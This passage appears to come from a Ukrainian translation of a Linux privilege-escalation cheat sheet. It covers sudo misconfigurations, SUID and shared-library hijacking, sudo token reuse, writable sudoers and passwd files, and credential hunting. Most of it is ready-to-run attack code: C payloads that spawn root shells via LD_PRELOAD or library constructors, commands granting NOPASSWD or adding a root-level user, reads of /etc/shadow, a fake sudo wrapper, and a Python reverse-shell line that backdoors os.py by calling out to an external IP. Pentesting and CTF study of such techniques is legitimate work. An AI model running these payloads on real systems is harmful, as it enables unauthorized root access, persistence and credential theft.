У цьому прикладі користувач demo може запускати vim як root; тепер тривіально отримати shell, додавши ssh key у директорію root або викликавши sh.

sudo vim -c '!sh'

SETENV

Ця директива дозволяє користувачу встановити змінну середовища під час виконання чогось:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Цей приклад, на основі HTB machine Admirer, був уразливий до PYTHONPATH hijacking для завантаження довільної python library під час виконання скрипта як root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV збережено через sudo env_keep → root shell

Якщо sudoers зберігає BASH_ENV (наприклад, Defaults env_keep+="ENV BASH_ENV"), можна скористатися неінтерактивною поведінкою запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди.

• Why it works: Для неінтерактивних shell-ів Bash оцінює $BASH_ENV і sources цей файл перед запуском цільового скрипта. Багато правил sudo дозволяють запуск скрипта або shell-обгортки. Якщо BASH_ENV зберігається sudo, ваш файл буде sourced з привілеями root.

• Вимоги:

• Правило sudo, яке ви можете виконати (будь-яка ціль, що викликає /bin/bash неінтерактивно, або будь-який bash-скрипт).

• BASH_ENV присутній в env_keep (перевірте за допомогою sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Зміцнення безпеки:
• Видаліть BASH_ENV (та ENV) з env_keep, віддавайте перевагу env_reset.
• Уникайте shell wrappers для sudo-allowed команд; використовуйте мінімальні binaries.
• Розгляньте sudo I/O logging та alerting, коли використовуються preserved env vars.

Шляхи обходу виконання sudo

Перейдіть щоб прочитати інші файли або використати symlinks. Наприклад, у sudoers файлі: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Якщо використовується wildcard (*), це ще простіше:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Заходи протидії: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary без шляху до команди

Якщо користувачу надано дозвіл sudo для однієї команди без вказання шляху: hacker10 ALL= (root) less — ви можете експлуатувати це, змінивши змінну PATH.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Цю техніку також можна використати, якщо suid бінарник виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою strings вміст підозрілого SUID бінарника)).

Payload examples to execute.

SUID binary with command path

Якщо suid бінарник виконує іншу команду з вказаним шляхом, то ви можете спробувати експортувати функцію з іменем тієї команди, яку викликає suid файл.

Наприклад, якщо suid бінарник викликає /usr/sbin/service apache2 start, вам потрібно спробувати створити функцію та експортувати її:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Потім, коли ви викличете suid binary, ця функція буде виконана

LD_PRELOAD & LD_LIBRARY_PATH

Змінна оточення LD_PRELOAD використовується для вказівки однієї або кількох спільних бібліотек (.so файлів), які завантажуються завантажувачем перед усіма іншими, включно зі стандартною бібліотекою C (libc.so). Цей процес відомий як попереднє завантаження бібліотеки.

Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функцією, особливо щодо suid/sgid виконуваних файлів, система накладає певні умови:

• Завантажувач ігнорує LD_PRELOAD для виконуваних файлів, у яких реальний ідентифікатор користувача (ruid) не збігається з ефективним (euid).
• Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки у стандартних шляхах, які також мають suid/sgid.

Підвищення привілеїв може статися, якщо ви маєте можливість виконувати команди з sudo, і вивід sudo -l містить рядок env_keep+=LD_PRELOAD. Така конфігурація дозволяє змінній оточення LD_PRELOAD зберігатися й бути розпізнаною навіть під час виконання команд з sudo, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.

Defaults        env_keep += LD_PRELOAD

Збережіть як /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Потім скомпілюйте це за допомогою:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Нарешті, escalate privileges виконуючи

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Подібний privesc може бути використаний, якщо зловмисник контролює LD_LIBRARY_PATH env variable, оскільки це визначає шлях, у якому будуть шукатися бібліотеки.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Якщо ви натрапили на binary з правами SUID, який виглядає підозріло, корисно перевірити, чи він правильно завантажує .so файли. Це можна зробити, виконавши наступну команду:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Наприклад, поява помилки на кшталт "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" вказує на потенційну можливість експлуатації.

Щоб це експлуатувати, слід створити C-файл, наприклад "/path/to/.config/libcalc.c", який містить наступний код:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляції дозволами файлів та виконання shell з підвищеними привілеями.

Скомпілюйте вищевказаний C file у shared object (.so) file за допомогою:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, в яку ми можемо записувати, створимо бібліотеку в цій папці з необхідною назвою:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Якщо ви отримуєте помилку, таку як

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

це означає, що бібліотека, яку ви згенерували, повинна мати функцію з назвою a_function_name.

GTFOBins

GTFOBins — це кураторський список Unix бінарних утиліт, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. GTFOArgs — те саме, але для випадків, коли ви можете лише вставляти аргументи у команду.

Проект збирає легітимні функції Unix бінарників, які можуть бути зловживані для виходу з restricted shells, escalate або підтримання elevated privileges, передачі файлів, створення bind і reverse shells, та полегшення інших post-exploitation задач.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{{#ref}} https://gtfobins.github.io/ {{#endref}}

{{#ref}} https://gtfoargs.github.io/ {{#endref}}

FallOfSudo

Якщо ви можете виконати sudo -l, ви можете скористатися інструментом FallOfSudo щоб перевірити, чи він знаходить спосіб експлуатувати будь-яке правило sudo.

Повторне використання sudo токенів

У випадках, коли у вас є sudo access, але немає пароля, ви можете підвищити привілеї, чекаючи виконання команди sudo і потім перехопивши session token.

Вимоги для підвищення привілеїв:

• Ви вже маєте shell як користувач "sampleuser"
• "sampleuser" використовував sudo для виконання чогось в останні 15mins (за замовчуванням це тривалість sudo token, який дозволяє нам використовувати sudo без введення пароля)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb доступний (ви можете завантажити його)

(Ви можете тимчасово увімкнути ptrace_scope командою echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope або постійно змінити /etc/sysctl.d/10-ptrace.conf і встановити kernel.yama.ptrace_scope = 0)

Якщо всі ці вимоги виконано, ви можете підвищити привілеї використовуючи: https://github.com/nongiach/sudo_inject

• Перший експлойт (exploit.sh) створить бінарний файл activate_sudo_token в /tmp. Ви можете використати його, щоб активувати sudo token у вашій сесії (ви автоматично не отримаєте root shell, виконайте sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• другий exploit (exploit_v2.sh) створить sh shell у /tmp який належить root і має setuid

bash exploit_v2.sh
/tmp/sh -p

• третій exploit (exploit_v3.sh) створить файл sudoers, який робить sudo tokens вічними та дозволяє всім користувачам користуватися sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Якщо у вас є права запису у папці або на будь-якому зі створених у цій папці файлів, ви можете використовувати бінарний файл write_sudo_token, щоб створити sudo token для користувача та PID.
Наприклад, якщо ви можете перезаписати файл /var/run/sudo/ts/sampleuser і маєте shell від імені цього користувача з PID 1234, ви можете отримати привілеї sudo без необхідності знати пароль, виконавши:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Файл /etc/sudoers та файли всередині /etc/sudoers.d налаштовують, хто може використовувати sudo і як. Ці файли за замовчуванням можна читати лише користувачу root та групі root.
Якщо ви можете прочитати цей файл, ви можете отримати деяку цікаву інформацію, а якщо ви можете записати будь-який файл, ви зможете escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Якщо ви можете записувати, ви можете зловживати цим дозволом

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Ще один спосіб зловживати цими дозволами:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Існують деякі альтернативи бінарному файлу sudo, такі як doas для OpenBSD, не забудьте перевірити його конфігурацію в /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Якщо ви знаєте, що користувач зазвичай підключається до машини й використовує sudo для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете створити новий sudo executable, який виконуватиме ваш код як root, а потім команду користувача. Далі змініть $PATH у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, запускався ваш sudo executable.

Зауважте, що якщо користувач використовує інший shell (не bash), потрібно змінити інші файли, щоб додати новий шлях. Наприклад sudo-piggyback змінює ~/.bashrc, ~/.zshrc, ~/.bash_profile. Інший приклад можна знайти у bashdoor.py

Або запустивши щось на кшталт:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Спільні бібліотеки

ld.so

Файл /etc/ld.so.conf вказує з яких місць завантажуються файли конфігурації. Зазвичай цей файл містить такий рядок: include /etc/ld.so.conf.d/*.conf

Це означає, що файли конфігурації з /etc/ld.so.conf.d/*.conf будуть прочитані. Ці файли конфігурації вказують на інші каталоги, де будуть шукатися бібліотеки. Наприклад, вміст /etc/ld.so.conf.d/libc.conf — це /usr/local/lib. Це означає, що система буде шукати бібліотеки в /usr/local/lib.

Якщо з якоїсь причини користувач має права запису на будь-який із зазначених шляхів: /etc/ld.so.conf, /etc/ld.so.conf.d/, будь-який файл всередині /etc/ld.so.conf.d/ або будь-який каталог, вказаний у файлі конфігурації з /etc/ld.so.conf.d/*.conf, він може отримати підвищення привілеїв.
Дивіться як експлуатувати цю неправильну конфігурацію на наступній сторінці:

{{#ref}} ld.so.conf-example.md {{#endref}}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Копіювання lib у /var/tmp/flag15/ призведе до того, що програма використовуватиме його в цьому місці, як вказано в змінній RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Потім створіть зловмисну бібліотеку в /var/tmp за допомогою gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Можливості

Linux capabilities provide a subset of the available root privileges to a process. Це фактично розбиває root привілеї на менші та відмінні одиниці. Кожну з цих одиниць можна потім окремо надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.
Read the following page to learn more about capabilities and how to abuse them:

{{#ref}} linux-capabilities.md {{#endref}}

Права доступу до директорій

У директорії біт "execute" означає, що відповідний користувач може "cd" у папку.
Біт "read" означає, що користувач може переглядати файли, а біт "write" означає, що користувач може видаляти та створювати нові файли.

ACLs

Списки контролю доступу (ACLs) представляють вторинний рівень дискреційних дозволів, здатний перевизначати традиційні ugo/rwx permissions. Ці дозволи покращують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень гранулярності забезпечує більш точне керування доступом. Further details can be found here.

Надати користувачу "kali" права читання та запису над файлом:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Отримати файли з певними ACLs із системи:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Відкриті shell sessions

У старих версіях ви можете hijack деяку shell session іншого користувача (root).
У новіших версіях ви зможете connect до screen sessions лише свого користувача. Однак ви можете знайти цікаву інформацію всередині session.

screen sessions hijacking

Перелічити screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Приєднатися до сесії

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Це була проблема зі старими версіями tmux. Я не міг перехопити tmux (v2.1) сесію, створену root, будучи непривілейованим користувачем.

Список tmux-сесій

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Приєднатися до сесії

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB for an example.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Усі SSL та SSH keys, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, etc) між вереснем 2006 і 13 травня 2008 року, можуть бути уразливими до цієї помилки.
Ця помилка виникає при створенні нового ssh key в тих ОС, оскільки було можливих лише 32,768 варіантів. Це означає, що всі можливості можна перерахувати і маючи ssh public key ви можете шукати відповідний private key. Ви можете знайти перераховані варіанти тут: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

• PasswordAuthentication: Вказує, чи дозволена аутентифікація за паролем. За замовчуванням — no.
• PubkeyAuthentication: Вказує, чи дозволена аутентифікація за public key. За замовчуванням — yes.
• PermitEmptyPasswords: Якщо дозволена аутентифікація за паролем, вказує, чи дозволяє сервер вхід в облікові записи з порожніми рядками паролів. За замовчуванням — no.

PermitRootLogin

Вказує, чи може root входити через ssh, за замовчуванням — no. Можливі значення:

• yes: root може входити використовуючи пароль та private key
• without-password or prohibit-password: root може входити тільки з private key
• forced-commands-only: root може входити тільки використовуючи private key і якщо вказані опції commands
• no : заборонено

AuthorizedKeysFile

Вказує файли, які містять public keys, що можуть бути використані для аутентифікації користувача. Він може містити токени, такі як %h, які будуть замінені домашнім каталогом. Ви можете вказувати абсолютні шляхи (які починаються в /) або відносні шляхи від домашньої теки користувача. Наприклад:

AuthorizedKeysFile    .ssh/authorized_keys access

That configuration will indicate that if you try to login with the private key of the user "testusername" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys and /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.

You need to set this option in $HOME/.ssh.config like this:

Host example.com
ForwardAgent yes

Зверніть увагу, що якщо Host є *, то щоразу, коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки).

Файл /etc/ssh_config може перезаписувати ці параметри та дозволяти або забороняти цю конфігурацію.
Файл /etc/sshd_config може дозволяти або забороняти ssh-agent forwarding за допомогою ключового слова AllowAgentForwarding (за замовчуванням — дозволено).

Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки ви можете зловживати цим, щоб підвищити привілеї:

{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}

Цікаві файли

Файли профілів

Файл /etc/profile та файли в /etc/profile.d/ — це скрипти, які виконуються, коли користувач запускає новий shell. Тому, якщо ви можете записати або змінити будь-який із них, ви можете підвищити привілеї.

ls -l /etc/profile /etc/profile.d/

Якщо виявлено якийсь підозрілий скрипт профілю, його слід перевірити на наявність чутливих даних.

Passwd/Shadow Files

Залежно від OS файли /etc/passwd і /etc/shadow можуть мати іншу назву або існувати резервні копії. Тому рекомендовано знайти всі з них і перевірити, чи можете їх прочитати, щоб побачити чи є hashes всередині файлів:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

У деяких випадках можна знайти password hashes у файлі /etc/passwd (або еквівалентному)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Доступний для запису /etc/passwd

Спершу згенеруйте пароль за допомогою однієї з наступних команд.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Потім додайте користувача hacker і додайте згенерований пароль.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Наприклад: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Тепер ви можете використати команду su з обліковими даними hacker:hacker

Альтернативно, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.
УВАГА: це може знизити поточний рівень безпеки машини.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

ПРИМІТКА: На платформах BSD /etc/passwd розташований у /etc/pwd.db та /etc/master.passwd, також /etc/shadow перейменовано на /etc/spwd.db.

Ви повинні перевірити, чи можете ви записувати в деякі чутливі файли. Наприклад, чи можете ви записати в якийсь файл конфігурації сервісу?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Наприклад, якщо на машині працює tomcat сервер і ви можете змінити файл конфігурації сервісу Tomcat у /etc/systemd/, то ви можете змінити рядки:

ExecStart=/path/to/backdoor
User=root
Group=root

Ваш backdoor буде виконано наступного разу, коли tomcat буде запущено.

Перевірте папки

Наступні папки можуть містити резервні копії або цікаву інформацію: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Ймовірно, ви не зможете прочитати останню, але спробуйте)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Дивне розташування/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Змінені файли за останні хвилини

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Файли Sqlite DB

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Приховані файли

find / -type f -iname ".*" -ls 2>/dev/null

Скрипти/бінарні файли в PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Веб-файли

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Резервні копії

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Відомі файли, які містять паролі

Перегляньте код linPEAS, він шукає кілька можливих файлів, які можуть містити паролі.
Ще один цікавий інструмент, який ви можете використати для цього: LaZagne — це додаток з відкритим вихідним кодом, який використовується для отримання великої кількості паролів, збережених на локальному комп'ютері під Windows, Linux & Mac.

Logs

Якщо ви можете читати logs, ви можете знайти цікаву/конфіденційну інформацію всередині них. Чим дивніші logs, тим цікавішими вони, ймовірно, будуть.
Також деякі "bad" сконфігуровані (backdoored?) audit logs можуть дозволити вам записувати паролі всередині audit logs, як пояснено в цій публікації: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Щоб читати логи, група adm буде дуже корисною.

Shell файли

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Ви також повинні шукати файли, що містять слово "password" у своєму імені або всередині вмісту, а також перевіряти IP-адреси та email-и у логах, або регулярні вирази для хешів.
Я не збираюся тут перераховувати, як це робити, але якщо вам цікаво ви можете перевірити останні перевірки, які виконує linpeas.

Файли, доступні для запису

Python library hijacking

Якщо ви знаєте звідки буде виконуватися python-скрипт і ви можете писати в ту папку або ви можете змінювати python libraries, ви можете змінити бібліотеку OS і backdoor її (якщо ви можете писати туди, де буде виконуватися python-скрипт, скопіюйте та вставте бібліотеку os.py).

Щоб backdoor the library просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate експлуатація

A vulnerability in logrotate lets users with write permissions on a log file or its parent directories potentially gain escalated privileges. This is because logrotate, often running as root, can be manipulated to execute arbitrary files, especially in directories like /etc/bash_completion.d/. It's important to check permissions not just in /var/log but also in any directory where log rotation is applied.

Tip

Ця вразливість стосується logrotate версії 3.18.0 та старіших

Детальнішу інформацію про вразливість можна знайти на цій сторінці: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Цю вразливість можна використати за допомогою logrotten.

This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Посилання на вразливість: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Зверніть увагу на пробіл між Network та /bin/id)

init, init.d, systemd, та rc.d

Каталог /etc/init.d містить скрипти для System V init (SysVinit), класичної системи керування сервісами Linux. Він включає скрипти для start, stop, restart, а іноді й reload сервісів. Їх можна виконувати безпосередньо або через символічні посилання в /etc/rc?.d/. Альтернативний шлях у системах Redhat — /etc/rc.d/init.d.

З іншого боку, /etc/init асоційовано з Upstart, новішою системою керування сервісами, впровадженою в Ubuntu, яка використовує конфігураційні файли для завдань керування сервісами. Незважаючи на перехід на Upstart, SysVinit скрипти все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart.

systemd постає як сучасний ініціалізатор та менеджер сервісів, що пропонує розширені можливості, такі як запуск демонів за вимогою, керування automount та знімки стану системи. Він організовує файли в /usr/lib/systemd/ для пакетів дистрибутиву та в /etc/systemd/system/ для змін адміністраторів, спрощуючи процес адміністрування системи.

Інші трюки

NFS Privilege escalation

{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}

Escaping from restricted Shells

{{#ref}} escaping-from-limited-bash.md {{#endref}}

Cisco - vmanage

{{#ref}} cisco-vmanage.md {{#endref}}

Android rooting frameworks: manager-channel abuse

Android rooting frameworks зазвичай hook-ають syscall, щоб відкрити привілейовану функціональність ядра для менеджера в userspace. Слабка автентифікація менеджера (наприклад, перевірки підпису, засновані на FD-order, або ненадійні схеми паролів) може дозволити локальній аплікації видавати себе за менеджера та ескалювати до root на вже rooted-пристроях. Докладніше та деталі експлуатації тут:

{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Механізм виявлення сервісів, керований regex, у VMware Tools/Aria Operations може витягти шлях до бінарного файлу з командних рядків процесів і виконати його з опцією -v у привілейованому контексті. Пермісивні патерни (наприклад, використання \S) можуть співпасти з розміщеними атакуючим слухачами у записуваних локаціях (наприклад, /tmp/httpd), що призводить до виконання під root (CWE-426 Untrusted Search Path).

Детальніше та узагальнений патерн, застосовний до інших стеків виявлення/моніторингу, тут:

{{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}}

Захист ядра

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Додаткова допомога

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Джерела

